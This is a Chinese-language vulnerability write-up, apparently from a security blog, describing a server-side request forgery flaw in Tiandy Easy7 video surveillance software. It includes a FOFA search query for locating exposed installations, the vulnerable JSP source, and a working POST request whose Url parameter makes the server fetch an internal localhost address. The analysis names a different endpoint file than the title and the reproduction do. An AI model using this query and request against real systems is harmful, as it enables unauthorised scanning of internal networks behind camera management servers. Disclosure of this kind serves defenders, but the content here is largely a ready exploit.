天地伟业Easy7 GetOtherDomainServer.jsp SSRF漏洞


漏洞简介

天地伟业Easy7是一款用于视频监控管理的软件系统。

该系统的/Easy7/apps/WebService/GetOtherDomainServer.jsp接口在处理外部请求参数时缺乏严格的地址校验与访问控制,导致存在服务器端请求伪造(SSRF漏洞。攻击者可通过该漏洞诱导服务器发起任意 HTTP/HTTPS 请求,从而探测内网服务结构、访问受限接口,甚至在特定条件下实现对内网应用的数据窃取或进一步利用。

影响版本

fofa语法

body="/Easy7/apps/WebService/LogIn.jsp" || body="Easy7/VideoLib.EXE" || body="/Easy7/index.html" || (body="<img src=\"./images/ico/Easy7_logo_transparent.png") && title="平台"

漏洞分析

首先,该系统基于Spring 3.0,比较古老且WEB-INF/web.xml里没有配置任何filter进行权限校验,因此绝大部分接口都是可以直接访问的。

再来看本次的漏洞接口 /Easy7/apps/WebService/UploadOwnerImage.jsp 的实现逻辑

<%@ page language="java" import="easy7.business.*" pageEncoding="utf-8"%>
<%@ page language="java" import="net.sf.json.*"%>
<%@ page language="java" import="org.apache.log4j.*"%>
<%@ page language="java" import="easy7.datatype.*"%>
<%@ page language="java" import="java.io.*"%>
<%@ page language="java" import="java.net.*"%>
<%
    String strUrl = request.getParameter("Url").trim(); 
    if (strUrl == null) {
       Logger.getRootLogger().error("strUrl == null");    
       out.print(JSONObject.fromObject(null));
       return;
    }
    System.out.println(strUrl);

    HttpURLConnection urlConnection = null;
    URL url = new URL(strUrl);
    urlConnection = (HttpURLConnection)url.openConnection();
    urlConnection.setRequestMethod("GET");
    urlConnection.setDoOutput(true);
    urlConnection.setDoInput(true);
    urlConnection.setUseCaches(false);

    InputStream in = urlConnection.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
    StringBuffer temp = new StringBuffer();
    String line = bufferedReader.readLine();

    while (line != null) {
       line = java.net.URLDecoder.decode(line, "UTF-8");
       //temp.append(line).append("\r\n");
       temp.append(line);
       System.out.println(line);
       line = bufferedReader.readLine();
    }
    bufferedReader.close();
    out.print(temp.toString());
%>

参数Url无任何过滤和校验被直接带入new URL(strUrl)进行访问,但是由于setRequestMethod的存在,不能使用file:///伪协议进行文件读取利用。

漏洞复现

POST /Easy7/apps/WebService/GetOtherDomainServer.jsp HTTP/1.1
Host: easy7.mrxn.net
Content-Type: application/x-www-form-urlencoded

Url=http%3A%2F%2Flocalhost%3A7000

成功访问到内网资产信息


手机扫码阅读

天地伟业Easy7 getInquestIdByRoomId SQL注入漏洞

mdserver-web(夸父面板)≤0.18.4 多处未授权访问 + 信息泄露 + RCE 漏洞分析

评 论